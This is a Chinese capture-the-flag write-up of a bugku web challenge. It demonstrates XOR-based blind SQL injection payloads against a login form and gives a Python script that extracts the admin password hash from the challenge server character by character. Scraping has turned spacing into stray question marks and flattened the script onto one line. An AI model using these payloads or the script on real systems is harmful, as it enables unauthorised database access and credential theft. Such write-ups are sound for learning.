輸入密碼: admin' or 1 =1? #? ?提示password error !應(yīng)該是有 過(guò)濾吧
用 自己寫的 sql 關(guān)鍵字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被過(guò)濾了:
對(duì)username 字段:(返回值為 1016 的 在response 中 提示 非法字符 ,說(shuō)明 1016 的字符試被過(guò)濾的 ,1023的沒(méi)有過(guò)濾)
可以看到? ?= ,逗號(hào),union ,and 、where 都被過(guò)濾了?
對(duì)password字段:(username 設(shè)置的是 admin? ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出開(kāi)有哪些字符被過(guò)濾了)
咱們的思路肯定不能是 去 一步一步的爆 庫(kù) 了,太麻煩了
既然知道了用戶名? 那直接組爆? password 不就行了?
還好沒(méi)有 過(guò)濾? 異或 符? ^? ? 那我們就用 異或 注入
當(dāng) 在 username 中? 輸入??admin'^' 時(shí)? ?會(huì)提示? ?password error!
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入??admin'^1^'時(shí)? 會(huì)提示??username does not exist!
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入? ?admin'^0^'時(shí) 會(huì)提示? password error!
那我們就可以去 把?admin'^0^'? ?中? 0 位置的 替換成我們的布爾判斷語(yǔ)句?
如果 判斷語(yǔ)句是正確的即為1? 那就會(huì)提示?username does not exist!
否則就會(huì)提示 : password error !?
根據(jù)這個(gè) 去寫一個(gè)? 布爾的盲注腳本:(在用 substr()函數(shù)的時(shí)候特別注入 逗號(hào) 被過(guò)濾的? 只能 用 from的形式)
import requestsurl = "http://123.206.31.85:49167/index.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個(gè)payload的表達(dá)方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'error' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內(nèi)循環(huán)停止if stop == 0: #當(dāng)內(nèi)循環(huán)匹配不到值的時(shí)候外循環(huán)就停止print("\n"+result)break然后就得到 password 的? 值 為一個(gè) md5加密過(guò)的字符串 :51b7a76d51e70b419f60d3473fb6f900
解密后得到:skctf123456
輸入admin? 和?skctf123456 后得到flag:
?
SKCTF{b1iNd_SQL_iNJEcti0n!}
?
?
?
總結(jié)
以上是生活随笔為你收集整理的bugku——web 做题记录的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: bugku ——杂项
- 下一篇: 攻防世界 ——crypto